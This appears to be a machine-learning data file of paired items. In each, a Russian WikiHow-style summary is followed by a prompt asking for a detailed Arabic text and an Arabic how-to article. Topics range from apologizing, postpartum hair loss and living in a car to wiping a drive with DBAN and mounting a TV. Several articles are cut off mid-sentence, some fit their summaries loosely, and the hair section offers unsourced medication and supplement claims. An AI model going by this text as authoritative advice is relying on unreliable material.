حتى وإن ندمت على شيء ما فورًا، الاعتذار قد لا يكون مجديًا إن كنت في وسط موقفٍ شديد العاطفية والانفعال. هذا لأنه من الصعب الاستماع بحرص للآخرين حين يتم غمرك بالمشاعر السلبية.  انتظر حتى يهدأ كلًا منكما قبل القيام بالاعتذار.   بالإضافة إلى ذلك، إن اعتذرت بينما تتدافع عواطفك، قد تواجه صعوبة في إقناع الشخص الآخر بخالص اعتذارك. الانتظار حتى تتمالك نفسك سيساعدك على قول ما تعنيه حقًا والتأكد من أن اعتذارك مكتمل المعنى. ولكن لا تنتظر أطول من اللازم. الانتظار لأيامٍ أو أسابيع للاعتذار يمكنه التسبب في الضرر أيضًا.   في الازمات المهنية، ستكون فكرة جيدة أن تعتذر مبكرًا بقدر الإمكان بعد ارتكاب الخطأ. هذا سيساعد في تجنب مقاطعة تدفق الأعمال في مكان عملك. إيصال خالص اعتذارك سيكون أكثر سهولةً إن قمت بالاعتذار شخصيًا. كثير من طرق تواصلنا تعد غير كلامية، من خلال أشياء كلغة الجسد، تعبيرات الوجه، والإيماءات.  كلما سنحت لك الفرصة، اعتذر شخصيًا.  إن لم يكن الاعتذار شخصيًا لأحدهم هو خيار موجود، استخدم الهاتف. نبرة صوتك ستساعد في إيصال صدقك. الاعتذار هو فعل شخصي للغاية. العثور على مكان هادئ وخاص للاعتذار سيساعدك في التركيز على الشخص الآخر وتفادي الملهيات.  اختر مكانًا يشعرك بالاسترخاء، واحرص على توافر الوقت الكافي حتى لا تشعر بالعجلة. الاعتذارات المسرعة غالبًا ما تكون غير فعالة.  هذا لأن القيام بالاعتذار يجب أن ينجز عدة مهام. يجب أن تعترف كليًا بإهانتك، أن تشرح ما حدث، أن تعبر عن ندمك، وتظهر أنك لن تعيد الخطأ مجددًا في المستقبل.  يجب عليك أيضًا اختيار الوقت الذي لا تشعر فيه بالعجلة أو التوتر. إن كن تفكر في كل شيء يتحتم عليك فعله، لن يكون تركيزك على الاعتذار، وسيشعر الشخص الآخر بغياب عقلك.


Найдите подходящие средства для ухода за волосами. По возможности избегайте стресса. Измените прическу. Следите за своим питанием. Принимайте пищевые добавки. Принимайте гормональные контрацептивные препараты.

Given the above summary, write a detailed text in Arabic for it.

بعض منتجات الشعر والشامبوهات والمكيفات تجعل الشعر يبدو كثيفًا وصحيًا. قد تضطري لتجربة بعض المنتجات المختلفة قبل أن تعثري على المنتج الذي يناسب شعرك وتصفيفته. حاولي أن تبحثي عن بعض المواصفات التالية:  منتجات تحمل الوصف "شامبو تضخيم". تجنبي "الشامبوهات المكيفة" حيث يمكن أن تجعل الشعر يبدو أجف أو أقل صحة. تجنبي "المكيفات المركزة" حيث يمكن أن تكون ثقيلة جدًا وتجعل الشعر يبدو أخف. حاولي أن تجدي مكيفات مصنوعة للشعر الناعم. المنتجات التي تحتوي البيوتين أو السيليكا قد تكون ذات نفع. التوتر يمكن أن يزيد من خسارة الشعر. التوتر قد يسبب دخول بصيلات الشعر في مرحلة الراحة مما ينتج عن ذلك أن يصبح الشعر أخف. خسارة الشعر التي سببها التوتر يمكن علاجها بتقليل التوتر.  بالطبع هذا قد يكون صعبًا وأنتِ معك طفل حديث الولادة. تأكدي أن تطلبي مساعدة عندما تحتاجينها واجعلي زوجكِ يساعدكِ قدر الإمكان. اطلبي من مصفف شعرك أن يجرب تصفيفة جديدة تجعله يبدو أثقل.  تذكري أن فقدان الشعر الذي يحدث قبل الولادة أمر مؤقت,  ويمكنك دائمًا إعادة تصفيف شعرك كما تحبين بعد انتهاء هذه الفترة.  تصفيفات الشعر الطويلة قد تجعل ملاحظة فقدان الشعر أسهل. للحمية الغذائية تأثير على صحة الشعر. تناول بعض الأطعمة يمكن أن يساعد في ضمان صحة الشعر. حاولي أن تتأكدي أن حميتك الغذائية تحتوي الفيتامينات والمعادن التالية:  البروتين. الشعر يتكون من البروتين والحصول على كمية كافية منه في غذائك سيجعل شعرك يبدو أقوى. الحديد. إذا كنتِ تتناولين اللحوم جربي تناول اللحم قليل الدهن كمصدر صحي للحديد. المصادر النباتية للحديد تشمل فول الصويا والعدس والسبانخ. مركبات الفلافونويد ومضادات الأكسدة. الخضروات والفواكه يمكن أن تحتوي على مركبات الفلافونويد ومضادات الأكسدة التي يمكن أن تساعد في الحفاظ على بصيلات الشعر. معظم المكملات ينصح بها للحفاظ على الشعر قويًا وبصحة جيدة. أثناء انتظار رجوع مستويات الهرمونات ونمو الشعر لوضعها الطبيعي يمكنكِ معالجة شعرك ببعض المكملات.   جربي فيتامينات بي وسي وإي والزنك. يوجد بعض الأدلة التي تقول إن أخذ البيوتين عن طريق الفم والزنك والكريمات الموضعية التي تحتوي بروبيونات كلوبيتاسول يمكن أن تساعد في علاج فقدان الشعر.   وضع زيت اللافندر المخلوط بالزعتر وزيوت الروزماري وإكليل الجبل قد يساعد في علاج بعض أشكال فقدان الشعر. بعد الحمل تصبح مستويات الاستروجين أقل عن...


Найдите подходящий автомобиль. Если ваши друзья не могут или не хотят помочь вам с жильем (либо вы не хотите просить у них помощи), попросите хотя бы разрешить вам указывать их адрес в нужных вам документах. Держите всегда действительными документы идентификации личности, водительское удостоверение, страховку. Купите блокиратор рулевой колонки и пользуйтесь им.

Given the above summary, write a detailed text in Arabic for it.

يمكنك أن تعيش في السيارة، لكن بعد أن يتوفر شرط أساسي لا غنى عنه، وهو أن تكون السيارة تعمل وتتحرك! في حالة توفر لديك مساحة من الوقت وكنت قادرًا على توقع ما أنت مقبل عليه من أزمات، وبالطبع المال الكافي، يمكنك أن تشتري أو تؤجر شاحنة أو عربة نقل واسعة؛ هل تتذكر عادل إمام ويسرا في فيلم كراكون في الشارع؟ يمكن أن توفر لك هذه الشاحنة كل ما تحتاج إليه من أجل السكن في السيارة، حيث توجد مساحة واسعة لتخزين الأشياء الخاصة بك، كما يمكن تركيب فتحة في السقف للتهوية. قد تحتاج إلى إفراغ السيارة من بعض الكراسي أو إعادة توزيعهم، لذا قد يكون من المفضل أن تحاول تأجير شاحنة مخصصة للسكن والإقامة (المعروفة باسم كرفان). تأكد كذلك من أنها قابلة للتخفي وليست ذات مظهر مميز وجاذب للأنظار. لاحظ أهمية استخدام سيارة جديدة (أو تم تحديثها منذ فترة قريبة) أو أن تكون خبيرًا فيما يخص الأمور الميكانيكية لتحمل العيش في سيارة قديمة ذات أعطال متكررة، واضعًا في الاعتبار أنها قد تعطل منك في لحظات غير مناسبة على الإطلاق إذا لم تحافظ على صيانتها بشكل دائم. قم بإيجار صندوق بريد لاستقبال الرسائل البريدية من خلاله. الصندوق البريدي الخاص أغلى ثمنًا، إلا أنك تقدر على أن تستقبل الطرود البريدية من خلاله، كما تسمح لك بعض الخدمات البريدية باستخدام صيغة عنوان شبيهة بعنوان الشقة؛ وهو الأمر بالغ الأهمية في حالة احتجت بعد ذلك إلى عنوان فعلي تستقبل الرسائل من خلاله. قم بالتسجيل في عضوية صالة الألعاب الرياضية. توجد صالات ألعاب رياضية باهظة التكلفة، لكن ذلك لا يمنع وجود فئة مختلفة من صالات الألعاب الرياضية والنوادي التابعة لمراكز الشباب المحلية التي تقدر من خلالها على استخدام المعدات الرياضية بتكلفة معقولة. أصبح هذا النوع من صالات الألعاب الرياضية شائعًا في أغلب المدن مؤخرًا، كما أن بعضها لا يحتاج إلى تسجيل عضوية ثابتة. ابحث عن صالة قريبة من موقع إيقاف سيارتك أو احرص على إيقاف سيارتك في مكان قريب من صالة الألعاب وغيرها من الأماكن التي سوف تداوم على زيارتها خلال فترة الإقامة. قم في أسرع وقت بتجديد أي أوراق رسمية سوف تحتاج إلى وجود عنوان رسمي لتحديثها. قم بإيداع الأشياء الثمينة في خزنة إيداع في واحدة من البنوك.  إذا كان لديك أصدقاء أو أفراد من العائلة لا يقدرون على مساعدتك فيما يخص السكن (أو رفضوا أن تقيم معهم) أو كنت تشعر بالحرج لطلب مساعدتهم، يمكنك على الأقل أن تطلب...


Найдите подходящий старый свитер. Пришейте долевые швы рукавов к бокам свитера. Подверните нижний край свитера. Проложите цепочку сметочных стежков от одной подмышки свитера до другой. Набейте рукава свитера до образования у подстилки округлых бортиков.

Given the above summary, write a detailed text in Arabic for it.

يُمكنك عمل السرير المُناسب للقط، باستخدام الإبرة والخيط، في أقل من 30 دقيقة. يمثل ذك السرير الأمثل للقط، إذا أحب الجلوس في الشمس ومتابعة الحياة اليومية وهي تستمر بجانبه، لأنه آمن وبسيط ومريح.  اختر قميصًا قديمًا أو سترة من الصوف الذي سيحبه القط. تأكد من طول كم القميص، لأن ذلك سيمثل شكل السلة المريحة. ستحتاج إلى إبرة للغزل والخيط المناسب. يُمكنك اختيار بعض الألوان المتضادة. على سبيل المثال: (اختر اللون الأحمر على سترة سوداء) أو استخدم نفس اللون لتجعله غير مرئي.  توقف بعد خياطة نصف الكم تقريبًا، نزولًا من منطقة التقاء الإبط بالجهة المجاورة من السترة. كرر هذه الخطوة مع الكم الآخر. ضع كم السترة أمامه، ثم ابدأ بدفع باقي السترة من أسفل إلى أعلى. تأكد من تداخل أساور السترة بصورة قليلة. استخدم ذلك فيما بعد كحلقة خارجية، لتبدأ عبرها بحشو السرير.  ابدأ بخياطة كل كم مع الناحية العلوية من السترة المدفوعة لأعلى. ضع إحدى الأساور بداخل الأخرى، في المنطقة التي تتقاطع فيها، وابدأ بخياطة الأجزاء الخارجية مع الجزء العلوي. لقد قمت الآن بصنع الأنبوبة التي ستقوم لاحقًا بحشوها. اختر شكل الخياطة التي تناسب شكل السرير، فقد تكون الخياطة إما غير مرئية أو متضادة الألوان. عند صنع الخياطة بهذا الشكل الدائري، تأكد من اتخاذه لشكل القوس، ليصنع في النهاية شكل الهلال.  تأكد من الخياطة عبر طبقتي الملابس. كلما اتخذت الخياطة شكل القوس، كلما كان السرير أقرب للشكل الدائري. سيصنع ذلك للسرير أطرافًا صلبةً، ومع ذلك اسفنجية الملمس، ليوفر للقط الأمان والدفء في الداخل، ويحافظ على شكل السرير الثابت عند دخول وخروج القط منه كثيرًا.  استخدم قطع القماش القديمة أو الحشو أو الملابس القديمة لملئه إعطائه المظهر المناسب. ابدأ بحشو الجهة السفلية من السرير قليلًا وابدأ بغلق فتحة العنق.


Найдите подходящую возвышенность. Побегайте для разогрева. Выполните динамические упражнения на растяжку на ровной местности. Вложите в первый спринт примерно 50–70 % своей энергии. Отдыхайте между спринтами. Будьте внимательны при выборе одежды. Не торопитесь делать выводы. Отдохните на ровной поверхности. Выполняйте 1–2 забега в неделю.

Given the above summary, write a detailed text in Arabic for it.

ستكون تلة الركض المثالية منحدرة للغاية وبطول 36 متر على الأقل. سترغب في القيادة بسيارتك بمحيطك لتتفقد بعض الأماكن القريبة إذا لم يكن ثمة مكان معين مطابق للمواصفات في ذهنك.   امش حول المكان او اركب الحافلة إذا كانت متاحة في حال لم يكن لديك سيارة. ضع عوامل الأمن والسلامة كالحركة المرورية وتوافر أرصفة المشاة أو الممرات الترابية (إذا كنت تركض على الطريق) والإضاءة وأوراق الشجر والسلامة العامة للمنطقة التي ستركض بها في اعتبارك بالتلة التي اخترتها؛ حيث من المهم أن تكون على دراية بالظروف وأن تخطط لارتداء ثياب مناسبة بما فيها ارتداء حذاء للركض أو حذاء رياضي كما في حالة أي نشاط رياضي. هرول لمدة 2-4 دقائق على منطقة مستوية قريبة من التلة، كما أنه يمكنك  الهرولة بشكل خفيف صعودًا وهبوطًا على التلة لإعداد جسمك لتمرين الجري السريع إذا كنت تفضل ذلك. سترغب في أداء حركات الإطالة على أرضية مستوية حتى لو كنت ستعدو على التلة حتى لا تفرط في إرهاق نفسك؛ حيث تؤَدى الإطالة الحركية أثناء المشي ويمكنك منع الإصابة إذا قمت بأداء عدد محدود منها قبل البدء بتمرين الجري السريع.  اعمل على قضاء 5-10 دقائق تقريبًا في الإطالة قبل الجري السريع على التلة. ارفع الركبة والركل للخلف تجاه المؤخرة مثل الجنود؛ فهي من حركات الإطالة الجيدة لهذا النوع من التمارين على نحو خاص. مارس الآن تمارين الإطالة حتى تشعر بالنشاط وليس التعب. يمكنك زيادة هذا مع كل محاولة جري سريع لكن بمقدار 10% فقط. قد ترغب في الانتظار حتى الدورة الثالثة أو الرابعة حتى تستخدم جهدك الكامل في الجري السريع إذا كنت جديدًا في هذا الأمر أو لا تتمتع بلياقة رائعة. سيمنح نزول التلة جسمك الوقت للتعافي بين جولات الجري السريع.  امش على أرضية مستوية لمدة 15-30 ثانية أخرى قبل البدء بجولة الجري السريع التالية إذا كنت لا زلت تشعر بالإنهاك بعد الوصول لسفح التل. تتطلب التلال القصيرة خطوات واسعة والعكس بالعكس. انتبه جيدًا لحالتك في الركض حتى تتجنب الإصابة.   لا تحدق في الأرض وثبت ذقنك في المستوى الطبيعي وأبق بصرك مصوبًا للأمام.   يجب أن تحافظ على انتصاب جذعك ويجب أن تهبط أمشاط قدميك مباشرة تحت صدرك. لا تنحن للأمام أثناء الركض.   يؤتي الركض على التلال ثمارًا رائعة في اللياقة البدنية لكنه صعب للغاية لذا عليك التوقف إذا لم تتمكن من اتخاذ الوضعية الملائمة والحفاظ عليها لتجنب الإصابة وزيادة الجهد. الجري السريع...


Найдите подходящую рубашку. Избавьтесь от жесткого воротника. Украсьте рубашку.

Given the above summary, write a detailed text in Arabic for it.

إذا كنت تفضل ارتداء قميص بدلًا من التيشيرت، فلا بأس، خاصة إذا كنت ترغب في عمل زي قبطان. سيكون القميص الأبيض الفاتح الكبير مثالي ولكن حاول اختيار قميص ذي أكمام فضفاضة بدلًا من الضيقة.  بالنسبة للنساء، أحضري قميصًا رجاليًا، حيث سيكون أكبر وأكثر تموجًا. بالنسبة للرجال، تجنب أي شيء ضيق جدًا أو قصير جدًا. لا يرتدي القراصنة الياقات المهنية المتيبسة. تخلص منها (أزل الياقة بكاملها) عن طريق قصها وعمل كشكشة أو وضع ياقة لينة مشابهة بدلًا منها. إذا كنت تكره الخياطة، يمكنك على الأرجح استخدام غراء الأقمشة لوضع الكشكشة مكان الياقة، ولكن تأكد أن المنطقة التي تم إزالتها لن تنسل. إذا أمكنك، حاول فقط إدخال هذه الكشكشة في خط العنق. سيغطي حجم الكشكشة أي تحسينات ذاتية قمت بها في القميص. بما أنك ترتدي قميصًا لائقًا، فالأمر الآن يتعلق بتحسينه أكثر من تحويله إلى خرق. يمكنك أخذ الزينة التالية في الاعتبار:   أزرار مزخرفة للوسط والأكمام. سلسلة من الدهب أو الفضة في منطقة الياقة. كشكشة! هذا صحيح. يمكن إضافة الكشكشة تقريبًا في أي مكان على القميص؛ حول الأكمام أو الياقة أو أسفل خط الأزرار الخ.


Найдите правильный способ сказать «нет». Практикуйте ненасильственное общение. Отстранитесь на более долгий срок.

Given the above summary, write a detailed text in Arabic for it.

يتمثل جزءٌ من العلاقات الاتكالية في الاعتياد على حدوث تفاعل فوري بمجرد "ضغط الزر"، وهذا يفسر سبب كون الرفض والابتعاد عن الأفراد المتكلين من العائلة -ولو بشكل مؤقت- أمرًا مفيدًا في بعض المواقف. يعتمد إيجاد الطريقة الصحيحة للرفض على الموقف لكن قد يقويك أن تبتعد حين يصبح الوضع صعبًا.   يمكنك تقديم رد هادئ في بعض الحالات حين تهدد السلوكيات الاتكالية شعورك بذاتك أو تتصاعد. يمكن أن يشمل هذا "آسف لن أرتاح لفعل هذا" أو "أجل، أرى أننا لا نتفق في وجهات نظرنا وأننا لا نستطيع التواصل." سيكون قول "لا" ببساطة أو "لا أستطيع فع لذلك" مناسبًا في المواقف التي تشعر فيها بأهمية الانسحاب السريع. لست مدينًا بتبرير لأي كان. قد يظهر ذلك الفرد من عائلتك استجابة عاطفية مشحونة لكنك لست ملزمًا بتلبية رغباته ومشاعره. التواصل العنيف نوعٌ من التواصل يسبب الأذى ويكون من خلال الإجبار عادة أو التلاعب باللغة. يمكنك البدء بإخراج نفسك من دائرة الاتكالية بالتدرب على التواصل غير العنيف. يمكن أن يساعد هذا في تجريد التواصل العنيف من قوته ويساعدك في هروبك من تحكم السلوكيات الاتكالية.   يعتمد التواصل غير العنيف على شرح شعورك دون لوم أو نقد والتعبير عن احتياجاتك بعطف. يمكنك أن تقول مثلًا "أشعر أنني لا أتمتع بالاستقلال الشخصي حين أسمعك تقول هذا. أقدر تمكني من اتخاذ مثل ذلك القرار بنفسي. هل تعتزم تركي أفعل هذا؟" بدلًا من "إنك تحاول التحكم بي دومًا. توقف.". يساعد استخدام ضمير المتكلم في التعبير عن فكرتك دون توجيه اللوم للطرف الآخر أو وضعه في موقف دفاعي. قد لا ترغب في الفصل الانتقائي إذا كانت اتكالية ذلك الفرد من عائلتك تهيمن على حياتك أو تفرض عليك ما لا تريده، بينما قد تجد الانفصال التام لفترة أطول مفيدًا أكثر. قد تتراوح هذه المدة من يوم إلى سنوات حسب سلوكياته واحتياجاتك.   يمكنك أن تختار درجة الانفصال المرغوبة في هذه المواقف. يمكنك أن تختار مثلًا ألا تتواجد قرب هذا الفرد بمفردكما أو عدم التواجد في محيطه لفترة زمنية محددة. اترك الموقف إذا شعرت بخطر محتمل.


Найдите приложение «iZip» в App Store или Play Маркете. Нажмите «Скачать» или «Установить». Нажмите на иконку iZip, чтобы запустить приложение. Нажмите на «Local Files» (Локальные файлы), чтобы найти файл с расширением .7z. Зажмите имя файла 7z. Нажмите «ОК».

Given the above summary, write a detailed text in Arabic for it.

ملف 7 زد عبارة عن أرشيف مضغوط يحتوي على ملف أو أكثر وستحتاج إلى امتلاك تطبيق قادر على التعامل مع ملفات 7 زد للوصول إلى محتويات الأرشيف على هاتفك المحمول. يُنصح باستخدام تطبيق آي زيب للتعامل مع هذا النوع من الملفات على هاتفك المحمول مجانًا. يؤدي ذلك إلى تنزيل التطبيق وتثبيته على جهازك.  يمكنك أيضًا اختيار "محرك آي كلاود" أو "جوجل درايف" عوضًا عن ذلك إن كان ملف 7 زد مخزنًا على مساحة تخزين سحابية. انقر بإصبعك على الملف لحين ظهور صندوق يحمل رسالة "هل ترغب بفك ضغط كل الملفات؟". يؤدي ذلك إلى استخراج محتويات ملف 7 زد إلى مجلد يحمل نفس اسم الملف على الجهاز. يمكنك فتح الملفات بعد اختفاء شريط التقدم عن طريق النقر على الملفات من الجهة اليمنى في تطبيق آي زيب أو عن طريق التوجه إلى مجلد حفظ الملفات المستخرجة.


Найдите профессионального уборщика салонов автомобилей, который очистит обивку, салон и стекла. Поезжайте к уборщику, чтобы показать ему ваш автомобиль (объем работ) и узнать точную цену за его уборку. Прежде чем оплатить услуги уборщика, убедитесь, что вы удовлетворены его работой. Расспросите уборщика об используемых чистящих средствах. Оставьте автомобиль в гараже уборщика, так как уборка может занять не менее двух часов или дольше, если у вас очень грязный салон или много пятен на обивке.

Given the above summary, write a detailed text in Arabic for it.

سيقوم هذا الشخص بتنظيف سيارتك بالكامل، بما في ذلك الفرش ولوحة القيادة وفتحات التهوية والنوافذ والمناطق الأخرى. ابحث عن شخص محترف بنفسك أو اسأل أصدقائك وأفراد عائلتك لإرشادك.  تأكد من أن الشخص الذي ستستعين به قادر على التعامل مع أدوات التنظيف على نحو جيد، وتأكد أيضًا من أن المكان يقدّم تأمينًا للسيارات التي ينظّفها. تواصل مع خدمات التنظيف الموجودة في منطقتك لتعرف الأسعار. اصطحب سيارتك إلى مكان خدمة التنظيف ليخبرك الشخص بالمبلغ المطلوب تفصيلًا. لن تعرف سعر التنظيف إلا بعد رؤية خدمة التنظيف لسيارتك. قبل أن تدفع المال وتغادر المكان، تأكد من أن خدمة التنظيف قد نظّفت السيارة بدرجة ترضيك. إن كانت هناك مقاعد أطفال في السيارة، تأكد من أن الخدمة قد أزالتها ونظّفت المكان تحتها. تستخدم معظم خدمات التنظيف منتجات تجارية تحتوي على مواد كيميائية قاسية لتنظيف السيارة. إن كنت تفضّل الالتزام بالمنظّفات الأخف، يمكنك البحث عن خدمة تستخدم هذه المنتجات.  تقوم بعض الخدمات بتقليص النفقات عن طريق استخدام منتجات تنظيف أرخص، إلا أن ذلك قد يؤدّي إلى الإضرار بالفرش أو زوال تأثير التنظيف بسرعة.  يكون هذا الأمر مهمًا على وجه الخصوص إن كنت تعاني من حساسية تجاه الروائح القوية أو روائح المواد الكيميائية التي قد تعلق في سيارتك. تستغرق عملية التنظيف ساعتين تقريبًا، وقد تستغرق أكثر من ذلك إن كانت هناك عدة بقع في السيارة أو كانت متّسخة جدًا. خطّط لأشياء أخرى تفعلها في المنطقة، أو اطلب من شخصك أن يقلّك حتى لا تنتظر في مكان التنظيف.


Найдите психотерапевта, который работает с людьми с зависимостью. Найдите собственные причины, по которым вам следует бросить курить. Выясните, что содержится в сигаретном дыме. Подумайте о том, какова будет польза для окружающих, если вы откажетесь от курения.

Given the above summary, write a detailed text in Arabic for it.

المستشار هو متخصص مدرب وبإمكانه مساعدتك في إيجاد سبب للإقلاع. يتحدث المستشار إلى عملائه عن الإدمان يوميًا ويتمتع بفهم شامل لأشق جوانب الإقلاع.  ابحث عن مستشار في منطقتك. إن كنت تحب تكوين علاقات مع الآخرين فقد يكون العلاج الجماعي فعالًا لك. من المرجح أن الجميع قد ألقوا عليك بمحاضرات تتعلق بالتدخين، ولكنك لم تفهم المخاطر بنفسك حقًا. تصفح الإنترنت لمعرفة فوائد الإقلاع عن التدخين على مواقع مفيدة مثل [١] أو موقع [٢]. إن معرفة الفوائد التي ستحصدها من الإقلاع عن التدخين من شأنه تحفيزك للمضي قدمًا وفعل ذلك حقًا.  ابحث عن قصص حقيقية. اقرأ عن الأشخاص الذين كانوا ضحايا للتأثيرات المدمرة للتدخين. طبقًا لجمعية الرئة الأمريكية فإنه ثمة أكثر من 600 مكون داخل السيجارة. تتحد تلك المكونات لتكون أكثر من 7000 مادة كيميائية عند إشعال السيجارة، ومنها 69 مادة مسببة للسرطان.   بعض تلك المكونات هي: القطران، الرصاص، الأسيتون، الزرنيخ، البيوتان، أول أكسيد الكربون، الأمونيا، الفورمالدهايد. ربما سمعت دائمًا أنه يجدر بك الإقلاع عن التدخين لأنه يضر بصحتك، ولكن الآن صرت تعرف بالضبط سبب كونه غير صحي. عندما تدخن فإنك تضر بصحتك وكذلك حياة الآخرين من حولك عبر تعريضهم للتدخين السلبي.  يسبب التدخين السلبي السرطان لدى أحبابك. أولئك الذين من حولك هم عرضة كذلك لأن يصابوا بالزكام والإنفلونزا أكثر بالإضافة لأمراض القلب والرئة وحتى صعوبات في الحمل. أظهرت الدراسات أن الآباء الذين يدخنون كثيرًا يصبح أبناؤهم مدخنين كذلك، لذا فإن الإقلاع عن التدخين اليوم سيحدث فرقًا في حياة أبنائك غدًا.


Найдите пустой DVD-диск или USB-накопитель. Скачайте программу DBAN (ISO-файл). Запишите программу DBAN на DVD-диск Перезагрузите компьютер. Войдите в BIOS. Найдите раздел «Boot order» (Порядок загрузки). Выберите DVD-привод компьютера. Переместите DVD-привод в верхнюю часть списка загрузочных устройств. Сохраните изменения и выйдите из BIOS. Выберите жесткий диск компьютера. Очистите жесткий диск. Извлеките DVD-диск с программой DBAN, когда появится запрос.

Given the above summary, write a detailed text in Arabic for it.

ستحتاج إلى حرق برنامج يسمى "دي بان" على أسطوانة دي في دي فارغة أو أن تضع البرنامج على بطاقة ذاكرة محمولة فارغة.  يمكنك التأكد من قدرة محرك أسطوانات جهاز الكمبيوتر على حرق الأسطوانات عن طريق البحث عن شعار "دي في دي" بالقرب من محرك الأسطوانات. يمكنك استخدام محرك أسطوانات خارجي قادر على حرق أسطوانات دي في دي عن طريق توصيله بمنفذ يو إس بي بجهاز الكمبيوتر إن لم يكن القرص الصلب الموجود في الجهاز قادرًا على حرق أسطوانات دي في دي. توجه إلى الموقع الإلكتروني https://dban.org/ ثم انقر على خيار تنزيل برنامج دي بان الظاهر أعلى الجهة اليمنى من النافذة ليؤدي ذلك إلى تنزيل ملف أيزو خاصة البرنامج على جهاز الكمبيوتر. قد تحتاج إلى تأكيد رغبتك بتنزيل الملف أو تحديد مكان حفظ قبل تنزيل الملف، ويعتمد ذلك على إعدادات متصفح الإنترنت. . يمكنك استخدام برنامج "جهاز الكمبيوتر" لحرق ملف أيزو خاصة برنامج دي بان على أسطوانة دي في دي بعد انتهاء عملية التنزيل.  احرص على إبقاء أسطوانة دي في دي في جهاز الكمبيوتر بعد انتهاء عملية الحرق. ستقوم بوضع ملف أيزو خاصة برنامج دي بان على بطاقة ذاكرة محمولة وتبقيها متصلة بجهاز الكمبيوتر إن كنت تستخدم بطاقة ذاكرة محمولة. افتح شاشة ابدأ ← الطاقة ← انقر على إعادة التشغيل في القائمة المنبثقة. ابدأ بالضغط على زر قائمة بايوس بشكل متكرر بعد النقر على خيار إعادة التشغيل مباشرة. يكون هذا الزر عادة Del أو أحد أزرار "F" في لوحة المفاتيح (F2 مثلًا)، ويمكنك معرفة الزر الصحيح عن طريق الرجوع إلى دليل المستخدم الخاص بجهاز الكمبيوتر. أعِد تشغيل جهاز الكمبيوتر وحاول مجددًا إن لم تتمكن من ضغط الزر في الوقت المناسب. ستحتاج إلى استخدام أزرار الأسهم في لسان تبويب "الإعدادات المتقدمة" أو "الإقلاع" لتحقيق ذلك على معظم أجهزة الكمبيوتر. تعرض بعض إصدارات قائمة بايوس خيارات ترتيب الإقلاع في الصفحة الرئيسية مباشرة. يفرض أن يظهر هذا الخيار باسم "محرك الأسطوانات" أو "محرك الأقراص" وما إلى ذلك. مجدّدًا: ستحتاج إلى استخدام أزرار الأسهم في لوحة المفاتيح لتحديد الخيار المناسب. حدد خيار "محرك الأسطوانات" أو الخيار المناسب ثم اضغط على زر + في لوحة المفاتيح حتى يصل الخيار المحدد إلى أعلى قائمة الإقلاع. تفقّد دليل الأزرار الظاهر إلى يمين الشاشة لمعرفة الزر المناسب لنقل الخيار إن لم تنجح الطريقة السابقة. ستحتاج إلى الضغط على زر في لوحة...


Найдите пятна от масляной краски. Выберите растворитель масляной краски. Сразу же после вымачивания постирайте одежду.

Given the above summary, write a detailed text in Arabic for it.

على الرغم من أن الدهان الزيتي من أحد أكثر الخيارات الشائعة لأغلبية الأعمال اليدوية قديمًا إلا أنه قد أصبح يستخدم حاليًا في الفنون وبعض الحرف اليدوية المحددة. والدهانات الزيتية أكثر سمكًا ولمعانًا من دهانات اللاتكس وتحتاج إلى وقت أطول حتى تجف.  إذا لم تكن متأكدًا إذا كنت تتعامل مع بقعة دهان زيتي، افحص علبة أو صفيحة الدهان إذا كان مدونًا عليها عبارة "دهان زيتي" أو "دهان مرتكز على الزيت". إذا لم تكن علبة الدهان متوفرة لديك، حاول أن تتذكر كيف قمت بتنظيف فرش الدهان أو الأدوات الأخرى بعد عملية الدهان. هل استخدمت المياه أو مزيل الدهان مثل زيت التربنتين. إذا استخدمت زيت التربنتين أو أي منتج مشابه، على الأغلب تكون قد استخدمت دهانًا زيتيًا ويمكنك اتباع الخطوات التالية. سوف تحتاج إلى مذيب دهان كيميائي لإزالة البقعة. تتوفر العديد من الأنواع وقد تتطلب البقعة نوعًا معينًا من المنظفات.  افحص علبة الدهان إذا كان موصى عليها باستخدام منظف معين. إذا كنت قد استخدمت دهانًا يدويًا محددًا، ابحث في متجر الأدوات الفنية عن منظف متخصص.  إذا لم تجد توصيات لاستخدام منظف محدد أو إذا لم يكن لديك وقتًا لشراء أو إيجاد المذيب الموصى باستخدامه، يمكنك استخدام التربنتين على معظم بقع الدهانات الزيتية. يمكنك شراء التربنتين المقطر من أي من متاجر الخردوات أو الأدوات المنزلية أو متاجر الدهان. برغم ذلك، لا يُنصح أبدًا باستخدام التربنتين على الأقمشة المصنوعة من الأسيتات وثلاثي الأسيتات والريون، لذلك تأكد من فحص ملصق إرشادات العناية بقطعة الملابس قبل القيام بالتنظيف. قم بإزالة الملابس من الماء الدافئ وافرك المنطقة الملطخة برفق ثم ضع قطعة الملابس في الغسالة وفقًا لتعليمات العناية.


Найдите распорку в стене. При помощи уровня отметьте распорки карандашом. Просверлите направляющие отверстия для ваших креплений. Установите крепление на стену, выровняйте его согласно тем отверстиям, которые вы сделали ранее. Держа крепление к стене, вкручивайте самый большой болт в направляющее отверстие. Возьмите телевизор и повесьте его на крепеж. Убедитесь, что крепеж выдерживает вес телевизора, прежде чем его отпускать. Готово!

Given the above summary, write a detailed text in Arabic for it.

قم بتعليم مركز الدعامة الحائطية.  تكون دعامات الحوائط الخشبية بسمك 3.8 سم عادةً (بعد التجفيف ومعالجة اللوح). إن لم تقم بتحديد مكان دعامة الحائط الخشبي قبل تثبيت الشاشة المسطّحة عليه، فمن المرجّح أن يكون ثقل جهاز التلفاز كبيرًا على الأجزاء الضعيفة من الحائط الخشبي مما سيؤدّي إلى سقوطه، وسيؤدّي ذلك إلى إتلاف التلفاز وإتلاف الحائط في نفس الوقت.  أفضل طريقة لإيجاد دعامات الحوائط الخشبية هي استخدام أداة إلكترونية لإيجاد دعامات الحوائط، ويمكنك استئجار هذه الأدوات من متاجر المعدات بسهولة. كحلٍ بديل، يمكنك قياس 40.64 سم من أقرب حائط لإيجاد الدعامة الحائطية، ثم استمر بقياس نفس المسافة من هذه النقطة إن كان منزلك موافقًا للمواصفات القياسية. إن كنت حائرًا حول طريقة إيجاد دعامات الحوائط الخشبية، استخدم أصابعك للنقر على الحائط في المكان الذي تتوقّع وجود الدعامات الحائطية فيه. إن كان صوت النقر أجوفًا فذلك يعني عدم وجود الدعامة، بينما يعني الصوت الأرقّ وجود الدعامة الحائطية. ضع مسمارًا صغيرًا في المكان الذي تعتقد أن فيه دعامة حائطية. إن اخترق المسمار الحائط بسهولة، فذلك يعني أن الدعامة غير موجودة. أما إن تطلّب المسمار بعض الوقت لاختراق الحائط، فذلك يعني أنك وجدت الدعامة الحائطية. يجب أن تقوم بتثبيت التلفاز في وضعٍ مستوٍ تمامًا، لذا خذ بعض الوقت للتأكد من استواء المكان تمامًا لتحصل 